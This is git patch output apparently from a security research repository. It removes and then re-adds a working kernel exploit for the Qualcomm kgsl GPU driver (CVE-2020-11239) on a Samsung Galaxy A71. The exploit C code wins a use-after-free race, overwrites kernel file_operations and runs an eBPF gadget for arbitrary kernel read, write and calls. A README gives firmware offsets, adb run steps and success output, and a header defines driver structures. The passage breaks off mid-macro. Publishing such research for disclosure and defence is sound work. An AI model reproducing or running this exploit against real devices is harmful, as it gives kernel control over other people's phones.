-      err(1, "[-] pthread_create ion_map");
-  }
-#endif
-  sleep(1);
-#ifndef SPRAY_1
-  ion_map(&(ion_alloc_fds[1]));
-#endif
-
-  ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par);
-#ifdef SPRAY_1
-  g_map_now = 1;
-  sched_yield();
-  sleep(1);
-  while (!g_ion_regions[G_REGION_LEN - 1]);
-  for (int i = 0; i < G_REGION_LEN; i++) {
-    munmap((void*)(g_ion_regions[i]), 0x1000);
-  }
-#endif
-  g_import_now = 1;
-  sched_yield();
-  sleep(1);
-
-  struct kgsl_gpumem_free_id id = {.id = par2.id};
-  
-  g_trigger_now = 1;
-  for (int i = 0; i < PIPE; i++) {
-    write(pipe_write[i], &write_char, 1);
-  }
-  while (!g_unlocked_read);
-  ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_FREE_ID, &id);
-  g_realloc_now = 1;
-  sched_yield(); // don't run me, run the reallocator threads!
-  sleep(5);
-  g_finished_read = 1;
-
-  close(kgsl_fd);
-  struct msghdr mhdr;
-  unsigned int size = 0;
-  for (int i = 0; i < NB_REALLOC_THREADS; i++) {
-	  while (size == 0) {
-		if ((size = recvmsg(rta[i].recv_fd, &mhdr, MSG_DONTWAIT)) < 0) {
-		  err(1, "receive");
-		}
-	  }
-      size = 0;
-  }
-  if (trigger_time < TRIGGER_THRESH) {
-    printf("[-] Failed to win the race\n");
-  } else {
-    printf("[+] Read/Write operation succeeded\n");
-  }
-  for (int i = 0; i < PIPE; i++) {
-    close(pipe_write[i]);
-  }
-  reset_globals();
-}
-
-size_t compute_ion_region_size() {
-  return (1 << ORDER) -  0x1000 * (VMAS_LEN + 2);
-}
-
-int init_tmp_region(int ion_fd, char** tmp_ion_regions, char** ion_region) {
-  int ion_alloc_fd = -1;
-
-  struct ion_allocation_data ion_alloc_data;
-  ion_alloc_data.len = 1 << ORDER;
-  ion_alloc_data.flags = 1;
-  ion_alloc_data.heap_id_mask = ION_HEAP(25);
-
-  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
-    err(1, "ION_IOC_ALLOC 1 failed\n");
-  }
-  
-  ion_alloc_fd = ion_alloc_data.fd;
-  if (ion_alloc_data.len < 0x1000 * (VMAS_LEN + 2)) {
-    err(1, "VMAS_LEN too large\n");
-  }
-
-  size_t ion_region_size0 = compute_ion_region_size();
-
-  tmp_ion_regions[0] = mmap(NULL, ion_region_size0, PROT_READ | PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0x1000);
-  if (tmp_ion_regions[0] == MAP_FAILED) {
-    err(1, "map failed tmp region 0");
-  }
-
-  *ion_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, 0x2000);
-  if (ion_region == MAP_FAILED) {
-    err(1, "map failed");
-  }
-
-  for (int i = 0; i < VMAS_LEN; i++) {
-    tmp_ion_regions[i + 1] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, ion_alloc_data.len -  0x1000 * (VMAS_LEN - i));
-    if (tmp_ion_regions[i + 1] == MAP_FAILED) {
-      err(1, "map tmp failed %d", i);
-    }
-  }
-  return ion_alloc_fd;
-}
-
-int main() {
-  setbuf(stdout, NULL);
-  setbuf(stderr, NULL);
-  int ion_alloc_fds[3];
-
-  struct bounce_buffer_param p;
-  allocate_bounce_buffer(&p);
-
-  uint64_t regions[MMAP_LEN];
-  for (int i = 0; i < MMAP_LEN; i++) {
-    regions[i] = (uint64_t)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
-    if ((void*)(regions[i]) == MAP_FAILED) {
-      err(1, "mmap %d failed", i);
-    }
-  }
-  
-  char* ion_region;
-  char* tmp_ion_regions[VMAS_LEN + 1];
-
-  int ion_fd = open("/dev/ion", O_RDONLY);
-  if (ion_fd == -1) {
-    err(1, "cannot open ion\n");
-  }
-
-  struct ion_allocation_data ion_alloc_data2;
-  ion_alloc_data2.len = 0x1000 * G_REGION_LEN;
-  ion_alloc_data2.flags = 1;
-  ion_alloc_data2.heap_id_mask = ION_HEAP(19);
-
-  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data2) < 0) {
-    err(1, "ION_IOC_ALLOC 2 failed\n");
-  }
-
-  ion_alloc_fds[1] = ion_alloc_data2.fd;
-#ifdef DMA_SPRAY
-  struct ion_allocation_data ion_alloc_data3;
-  ion_alloc_data3.len = 0x1000 * NENTS;
-  ion_alloc_data3.flags = 1;
-  ion_alloc_data3.heap_id_mask = ION_HEAP(25);
-
-  if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data3) < 0) {
-    err(1, "ION_IOC_ALLOC failed bounce 1\n");
-  }
-  ion_alloc_fds[2] = ion_alloc_data3.fd;
-#endif
-  size_t ion_region_size0 = compute_ion_region_size();
-  for (int i = 0; i < 5; i++) {
-    ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region);
-    do_one_rw(DMA_ADDRESS, SYS_LEN * BOUNCE_LEN, regions, ion_region, &(ion_alloc_fds[0]), 0);
-    sleep(1);
-    sync_bounce_buffers(0);
-    
-    printf("done read %d\n", i);
-    if (trigger_time > TRIGGER_THRESH) {
-#ifdef DEBUG_MEM_DUMP
-      dump_memory(i);
-#endif     
-      int null_region_index = find_null_fops();
-      int dma_region_index = find_dma_fops();
-      int region_index = -1;
-      enum region_type type;
-      if (null_region_index != -1 && dma_region_index != -1) {
-        if (null_region_index < dma_region_index) {
-          region_index = null_region_index;
-          type = null;
-        } else {
-          region_index = dma_region_index;
-          type = dma;
-        }
-        
-      } else if (null_region_index != -1) {
-          region_index = null_region_index;
-          type = null;
-      } else if (dma_region_index != -1) {
-          region_index = dma_region_index;
-          type = dma;
-      }
-
-      if (region_index != -1) {
-        if (region_index < 2) {
-          err(1, "region index calculation error\n");
-        }
-        unsigned long* fops = (unsigned long*)(&(ion_sys_regions[1][0]));
-        for (int i = 0; i < 10; i++) {
-          fops[i] = bpf_addr;
-        }
-        sync_bounce_buffers(1);
-        unsigned long bpf_data_address = ion_addr + 2048;
-        unsigned long __bpf_call_base = bpf_addr - BPF_TO_BASE;
-        unsigned long* bpf_data = (unsigned long*)(&(ion_sys_regions[1][2048]));
-        trigger_time = 0;
-//-------BPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html -------------------------------------------------------
-        //bpf program to run
-		struct bpf_insn insn[] = {
-			// Load base address.
-			/*  0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address),
-
-			// Load R7 = (in:data + 0); this is the operation to perform.
-			/*  2 */ BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, bpf_op_offset),
-
-			// Check if this operation is 'r'.
-			/*  3 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'r', +4),
-			// Load R1 = *(in:data + 8); this is the read address.
-			/*  4 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
-			// Load R1 = *R1.
-			/*  5 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0),
-			// Store *(out:data + 8) = R1.
-			/*  6 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, bpf_out_offset),
-			// Done.
-			/*  7 */ BPF_JMP_A(13),
-
-			// Check if this operation is 'w'.
-			/*  8 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'w', +4),
-			// Load R1 = *(in:data + 8); this is the write address.
-			/*  9 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset),
-			// Load R2 = *(in:data + 10); this is the value to write.
-			/* 10 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0),
-			// Store *R1 = R2.
-			/* 11 */ BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),
-			// Done.
-			/* 12 */ BPF_JMP_A(8),
-
-			// Check if this operation is 'x'.
-			/* 13 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'x', +7),
-			// Load R1 = *(in:data + 10); this is the first argument.
-			/* 14 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_arg0),
-			// Load R2 = *(in:data + 18); this is the second argument.
-			/* 15 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg1),
-			// Load R3 = *(in:data + 20); this is the third argument.
-			/* 16 */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2),
-			// Load R4 = *(in:data + 28); this is the fourth argument.
-			/* 17 */ BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, bpf_arg3),
-			// Load R5 = *(in:data + 30); this is the fifth argument.
-			/* 18 */ BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, bpf_arg4),
-			// Call R0 = function(R1, R2, R3, R4, R5). This call gets patched.
-			/* 19 */ BPF_EMIT_CALL(__bpf_call_base - 4),
-			// Store *(out:data + 8) = R0.
-			/* 20 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x108),
-			// Done. Fallthrough.
-
-			// Store *(out:data + 0) = R7, i.e., record the operation that we just executed.
-			/* 21 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0x100),
-		};
-//------------------------------------------------------------------------------------------------------------------
-        while (1) {
-          ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region);
-		  do_one_rw(DMA_ADDRESS, SYS_LEN * (region_index + 1), regions, ion_region, &(ion_alloc_fds[0]), 1);
-       printf("running bpf program\n");
-        
-        unsigned long bpf_insn_addr = ion_addr + 1024;
-        memcpy(&(ion_sys_regions[1][1024]), insn, sizeof(insn));
-        bpf_data[128] = 12345;
-        //set up read
-		bpf_data[bpf_op_offset/8] = 'r';
-        bpf_data[bpf_rw_addr_offset/8] = bpf_data_address + 1024;
-        switch(type) {
-          case null:
-            for (int i = 0; i < SLAB_LEN; i++) {
-              lseek64(p.null_fds[i], bpf_insn_addr, 0);
-            }
-            break;
-          case dma:
-            for (int i = 0; i < REGIONS_LEN_1; i++) {
-              lseek64(ion_sys_fds[i], bpf_insn_addr, 0);
-            }
-            for (int i = 0; i < REGIONS_LEN_2; i++) {
-              lseek64(ion_sys_fds2[i], bpf_insn_addr, 0);
-            }
-            break;
-          default:
-            break;
-        }
-        printf("bpf_data 0x%lx\n", bpf_data[bpf_out_offset/8]);
-        if (bpf_data[bpf_out_offset/8] == 12345) {
-          printf("[+] successful read\n");
-          break;
-        }
-      }
-      break;
-      }
-    }
-    munmap(tmp_ion_regions[0], ion_region_size0);
-    munmap(ion_region, 0x1000);
-    for (int i = 0; i < VMAS_LEN; i++) {
-      munmap(tmp_ion_regions[i + 1], 0x1000);
-    }
-    sleep(5);
-  }
-
-  for (int i = 0; i < 3; i++) {
-    close(ion_alloc_fds[i]);
-  }
-
-  close(ion_fd);
-  
-  for (int i = 0; i < BOUNCE_LEN; i++) {
-    munmap(bounce_regions[i], SYS_LEN);
-  }
-}

From 8d00deffa37c98ddffbf3e9f6df03dd312f661ce Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Mon, 8 Mar 2021 17:17:03 -0800
Subject: [PATCH 028/104] Revert "Revert "Blog material""

---
 .../Android/Qualcomm/CVE-2020-11239/README.md |   62 +
 .../Qualcomm/CVE-2020-11239/kgsl_exploit.h    |  546 +++++++++
 .../CVE-2020-11239/kgsl_exploit_slab_a71.c    | 1047 +++++++++++++++++
 3 files changed, 1655 insertions(+)
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c

diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
new file mode 100644
index 0000000..17efd5d
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md
@@ -0,0 +1,62 @@
+## Exploit for Qualcomm CVE-2020-11239
+
+The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain.
+
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
+
+The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
+
+The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again.
+
+To test, cross compile the file `kgsl_exploit_slab_a71.c` and then execute with `adb`:
+
+```
+adb push kgsl_exploit_slab_a71 /data/local/tmp
+adb shell
+a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71
+```
+
+If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write:
+
+```
+rpc opened
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 8 reallocation threads ready!
+micros_used: 19432
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] Read/Write operation succeeded
+[+] syncing bounce buffers
+done read 0
+[+] Found null_fops at 2 region offset 32 ffffff80099d9788
+null file addr: ffffffc12a993058
+[+] ion region location: ffffffc12a992000
+[+] bpf addr: ffffff8008317088
+overwrite fops ffffff80099d9788
+overwrite fops 0
+[-] Failed to find dma_buf_fops
+[+] syncing bounce buffers
+[+] reallocation data initialized!
+[ ] initializing reallocation threads, please wait...
+[+] 8 reallocation threads ready!
+micros_used: 19938
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] REALLOC THREAD finished
+[+] Read/Write operation succeeded
+running bpf program
+bpf_data 0x3039
+[+] successful read
+```
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
new file mode 100644
index 0000000..dc1022e
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h
@@ -0,0 +1,546 @@
+#ifndef KGSL_EXPLOIT_H
+#define KGSL_EXPLOIT_H
+
+#include <linux/bpf.h>
+
+//---------------------------ION-------------------------------------------------------------------
+
+enum ion_heap_ids {
+	INVALID_HEAP_ID = -1,
+	ION_CP_MM_HEAP_ID = 8,
+	ION_SECURE_HEAP_ID = 9,
+	ION_SECURE_DISPLAY_HEAP_ID = 10,
+	ION_CP_MFC_HEAP_ID = 12,
+	ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */
+	ION_SECURE_CARVEOUT_HEAP_ID = 14,
+	ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+	ION_QSECOM_TA_HEAP_ID = 19,
+	ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+	ION_SYSTEM_CONTIG_HEAP_ID = 21,
+	ION_ADSP_HEAP_ID = 22,
+	ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+	ION_SF_HEAP_ID = 24,
+	ION_SYSTEM_HEAP_ID = 25,
+	ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+	ION_QSECOM_HEAP_ID = 27,
+	ION_AUDIO_HEAP_ID = 28,
+
+	ION_MM_FIRMWARE_HEAP_ID = 29,
+	ION_GOOGLE_HEAP_ID = 30,
+
+	ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /*
+			       * must be last so device specific heaps always
+			       * are at the end of this enum
+			       */
+	ION_NUM_HEAPS = 16,
+};
+
+#define ION_HEAP_SYSTEM_MASK		((1 << ION_HEAP_TYPE_SYSTEM))
+#define ION_HEAP_SYSTEM_CONTIG_MASK	((1 << ION_HEAP_TYPE_SYSTEM_CONTIG))
+#define ION_HEAP_CARVEOUT_MASK		((1 << ION_HEAP_TYPE_CARVEOUT))
+#define ION_HEAP_TYPE_DMA_MASK		((1 << ION_HEAP_TYPE_DMA))
+
+#define ION_NUM_HEAP_IDS		(sizeof(unsigned int) * 8)
+#define ION_FLAG_CACHED 1		
+#define ION_FLAG_CACHED_NEEDS_SYNC 2	
+struct ion_allocation_data {
+	size_t len;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+    uint32_t fd;
+    uint32_t unused;
+};
+
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+
+#define VM_MAYWRITE	0x00000020
+
+/* ioctls */
+#define KGSL_IOC_TYPE 0x09
+
+#define IOCTL_KGSL_GPUOBJ_IMPORT \
+	_IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import)
+
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+
+#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+
+#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+
+#define ION_BIT(nr) (1UL << (nr))
+
+#define ION_HEAP(bit)			ION_BIT(bit)
+
+//---------------------------------KGSL------------------------------------------------------------
+
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+
+enum kgsl_user_mem_type {
+	KGSL_USER_MEM_TYPE_PMEM		= 0x00000000,
+	KGSL_USER_MEM_TYPE_ASHMEM	= 0x00000001,
+	KGSL_USER_MEM_TYPE_ADDR		= 0x00000002,
+	KGSL_USER_MEM_TYPE_ION		= 0x00000003,
+	/*
+	 * ION type is retained for backwards compatibility but Ion buffers are
+	 * dma-bufs so try to use that naming if we can
+	 */
+	KGSL_USER_MEM_TYPE_DMABUF       = 0x00000003,
+	KGSL_USER_MEM_TYPE_MAX		= 0x00000007,
+};
+
+struct kgsl_gpuobj_import {
+	uint64_t __user priv;
+	uint64_t priv_len;
+	uint64_t flags;
+	unsigned int type;
+	unsigned int id;
+};
+
+struct kgsl_gpuobj_import_dma_buf {
+	int fd;
+};
+
+struct kgsl_gpuobj_import_useraddr {
+	uint64_t virtaddr;
+};
+
+struct kgsl_gpuobj_free {
+	uint64_t flags;
+	uint64_t __user priv;
+	unsigned int id;
+	unsigned int type;
+	unsigned int len;
+};
+
+#define KGSL_GPUOBJ_FREE_ON_EVENT 1
+
+#define KGSL_GPU_EVENT_TIMESTAMP 1
+#define KGSL_GPU_EVENT_FENCE     2
+
+struct kgsl_gpu_event_timestamp {
+	unsigned int context_id;
+	unsigned int timestamp;
+};
+
+struct kgsl_gpu_event_fence {
+	int fd;
+};
+
+struct kgsl_gpumem_free_id {
+	unsigned int id;
+/* private: reserved for future use*/
+	unsigned int __pad;
+};
+
+#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id)
+
+#define IOCTL_KGSL_GPUOBJ_FREE \
+	_IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free)
+
+struct dma_buf_sync {
+	__u64 flags;
+};
+
+#define DMA_BUF_SYNC_READ      (1 << 0)
+#define DMA_BUF_SYNC_WRITE     (2 << 0)
+#define DMA_BUF_SYNC_RW        (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE)
+#define DMA_BUF_SYNC_START     (0 << 2)
+#define DMA_BUF_SYNC_END       (1 << 2)
+#define DMA_BUF_SYNC_USER_MAPPED       (1 << 3)
+
+#define DMA_BUF_SYNC_VALID_FLAGS_MASK \
+	(DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END)
+
+#define DMA_BUF_BASE		'b'
+#define DMA_BUF_IOCTL_SYNC	_IOW(DMA_BUF_BASE, 0, struct dma_buf_sync)
+
+#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL
+
+//-----------------------ADSPRPC----------------------------------------------------
+
+/* Retrives number of input buffers from the scalars parameter */
+#define REMOTE_SCALARS_INBUFS(sc)        (((sc) >> 16) & 0x0ff)
+
+/* Retrives number of output buffers from the scalars parameter */
+#define REMOTE_SCALARS_OUTBUFS(sc)       (((sc) >> 8) & 0x0ff)
+
+/* Retrives number of input handles from the scalars parameter */
+#define REMOTE_SCALARS_INHANDLES(sc)     (((sc) >> 4) & 0x0f)
+
+/* Retrives number of output handles from the scalars parameter */
+#define REMOTE_SCALARS_OUTHANDLES(sc)    ((sc) & 0x0f)
+
+#define REMOTE_SCALARS_LENGTH(sc)	(REMOTE_SCALARS_INBUFS(sc) +\
+					REMOTE_SCALARS_OUTBUFS(sc) +\
+					REMOTE_SCALARS_INHANDLES(sc) +\
+					REMOTE_SCALARS_OUTHANDLES(sc))
+
+#define REMOTE_SCALARS_MAKEX(attr, method, in, out, oin, oout) \
+		((((uint32_t)   (attr) & 0x7) << 29) | \
+		(((uint32_t) (method) & 0x1f) << 24) | \
+		(((uint32_t)     (in) & 0xff) << 16) | \
+		(((uint32_t)    (out) & 0xff) <<  8) | \
+		(((uint32_t)    (oin) & 0x0f) <<  4) | \
+		((uint32_t)   (oout) & 0x0f))
+
+#define REMOTE_SCALARS_MAKE(method, in, out) \
+		REMOTE_SCALARS_MAKEX(0, method, in, out, 0, 0)
+
+
+#ifndef VERIFY_PRINT_ERROR
+#define VERIFY_EPRINTF(format, args) (void)0
+#endif
+
+#ifndef VERIFY_PRINT_INFO
+#define VERIFY_IPRINTF(args) (void)0
+#endif
+
+#ifndef VERIFY
+#define __STR__(x) #x ":"
+#define __TOSTR__(x) __STR__(x)
+#define __FILE_LINE__ __FILE__ ":" __TOSTR__(__LINE__)
+
+#define VERIFY(err, val) \
+do {\
+	VERIFY_IPRINTF(__FILE_LINE__"info: calling: " #val "\n");\
+	if ((val) == 0) {\
+		(err) = (err) == 0 ? -1 : (err);\
+		VERIFY_EPRINTF(__FILE_LINE__"error: %d: " #val "\n", (err));\
+	} else {\
+		VERIFY_IPRINTF(__FILE_LINE__"info: passed: " #val "\n");\
+	} \
+} while (0)
+#endif
+
+#define remote_arg64_t    union remote_arg64
+
+struct remote_buf64 {
+	uint64_t pv;
+	uint64_t len;
+};
+
+struct remote_dma_handle64 {
+	int fd;
+	uint32_t offset;
+	uint32_t len;
+};
+
+union remote_arg64 {
+	struct remote_buf64	buf;
+	struct remote_dma_handle64 dma;
+	uint32_t h;
+};
+
+#define remote_arg_t    union remote_arg
+
+struct remote_buf {
+	void *pv;		/* buffer pointer */
+	size_t len;		/* length of buffer */
+};
+
+struct remote_dma_handle {
+	int fd;
+	uint32_t offset;
+};
+
+union remote_arg {
+	struct remote_buf buf;	/* buffer info */
+	struct remote_dma_handle dma;
+	uint32_t h;		/* remote handle */
+};
+
+struct fastrpc_ioctl_invoke {
+	uint32_t handle;	/* remote handle */
+	uint32_t sc;		/* scalars describing the data */
+	remote_arg_t *pra;	/* remote arguments list */
+};
+
+struct fastrpc_ioctl_invoke_fd {
+	struct fastrpc_ioctl_invoke inv;
+	int *fds;		/* fd list */
+};
+
+struct fastrpc_ioctl_invoke_attrs {
+	struct fastrpc_ioctl_invoke inv;
+	int *fds;		/* fd list */
+	unsigned int *attrs;	/* attribute list */
+};
+
+struct fastrpc_ioctl_invoke_crc {
+	struct fastrpc_ioctl_invoke inv;
+	int *fds;		/* fd list */
+	unsigned int *attrs;	/* attribute list */
+	unsigned int *crc;
+};
+
+struct fastrpc_ioctl_init {
+	uint32_t flags;		/* one of FASTRPC_INIT_* macros */
+	uintptr_t file;		/* pointer to elf file */
+	uint32_t filelen;	/* elf file length */
+	int32_t filefd;		/* ION fd for the file */
+	uintptr_t mem;		/* mem for the PD */
+	uint32_t memlen;	/* mem length */
+	int32_t memfd;		/* ION fd for the mem */
+};
+
+struct fastrpc_ioctl_init_attrs {
+		struct fastrpc_ioctl_init init;
+		int attrs;
+		unsigned int siglen;
+};
+
+struct fastrpc_ioctl_munmap {
+	uintptr_t vaddrout;	/* address to unmap */
+	size_t size;		/* size */
+};
+
+struct fastrpc_ioctl_munmap_64 {
+	uint64_t vaddrout;	/* address to unmap */
+	size_t size;		/* size */
+};
+
+struct fastrpc_ioctl_mmap {
+	int fd;					/* ion fd */
+	uint32_t flags;			/* flags for dsp to map with */
+	uintptr_t vaddrin;		/* optional virtual address */
+	size_t size;			/* size */
+	uintptr_t vaddrout;		/* dsps virtual address */
+};
+
+struct fastrpc_ioctl_mmap_64 {
+	int fd;				/* ion fd */
+	uint32_t flags;			/* flags for dsp to map with */
+	uint64_t vaddrin;		/* optional virtual address */
+	size_t size;			/* size */
+	uint64_t vaddrout;		/* dsps virtual address */
+};
+
+struct fastrpc_ioctl_munmap_fd {
+	int     fd;				/* fd */
+	uint32_t  flags;		/* control flags */
+	uintptr_t va;			/* va */
+	ssize_t  len;			/* length */
+};
+
+struct fastrpc_ioctl_perf {			/* kernel performance data */
+	uintptr_t data;
+	uint32_t numkeys;
+	uintptr_t keys;
+};
+
+
+#define FASTRPC_IOCTL_INVOKE	_IOWR('R', 1, struct fastrpc_ioctl_invoke)
+#define FASTRPC_IOCTL_MMAP	_IOWR('R', 2, struct fastrpc_ioctl_mmap)
+#define FASTRPC_IOCTL_MUNMAP	_IOWR('R', 3, struct fastrpc_ioctl_munmap)
+#define FASTRPC_IOCTL_MMAP_64	_IOWR('R', 14, struct fastrpc_ioctl_mmap_64)
+#define FASTRPC_IOCTL_MUNMAP_64	_IOWR('R', 15, struct fastrpc_ioctl_munmap_64)
+#define FASTRPC_IOCTL_INVOKE_FD	_IOWR('R', 4, struct fastrpc_ioctl_invoke_fd)
+#define FASTRPC_IOCTL_SETMODE	_IOWR('R', 5, uint32_t)
+#define FASTRPC_IOCTL_INIT	_IOWR('R', 6, struct fastrpc_ioctl_init)
+#define FASTRPC_IOCTL_INVOKE_ATTRS \
+				_IOWR('R', 7, struct fastrpc_ioctl_invoke_attrs)
+#define FASTRPC_IOCTL_GETINFO	_IOWR('R', 8, uint32_t)
+#define FASTRPC_IOCTL_GETPERF	_IOWR('R', 9, struct fastrpc_ioctl_perf)
+#define FASTRPC_IOCTL_INIT_ATTRS _IOWR('R', 10, struct fastrpc_ioctl_init_attrs)
+#define FASTRPC_IOCTL_INVOKE_CRC _IOWR('R', 11, struct fastrpc_ioctl_invoke_crc)
+#define FASTRPC_IOCTL_CONTROL   _IOWR('R', 12, struct fastrpc_ioctl_control)
+#define FASTRPC_IOCTL_MUNMAP_FD _IOWR('R', 13, struct fastrpc_ioctl_munmap_fd)
+
+#define FASTRPC_CONTROL_LATENCY	(1)
+struct fastrpc_ctrl_latency {
+	uint32_t enable;	/* latency control enable */
+	uint32_t level;		/* level of control */
+};
+
+#define FASTRPC_CONTROL_KALLOC	(3)
+struct fastrpc_ctrl_kalloc {
+	uint32_t kalloc_support;  /* Remote memory allocation from kernel */
+};
+
+struct fastrpc_ioctl_control {
+	uint32_t req;
+	union {
+		struct fastrpc_ctrl_latency lp;
+		struct fastrpc_ctrl_kalloc kalloc;
+	};
+};
+
+#define FASTRPC_INIT_CREATE 1
+
+
+struct scatterlist {
+	unsigned long	page_link;
+	unsigned int	offset;
+	unsigned int	length;
+	uint64_t	dma_address;
+    unsigned int	dma_length;
+};
+
+enum region_type {
+  binder,
+  dma,
+  null
+};
+
+//---------------BPF---------------------------------------------------------
+
+#define BPF_ALU64_REG(OP, DST, SRC)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+#define BPF_ALU64_IMM(OP, DST, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,	\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_MOV64_REG(DST, SRC)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_X,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
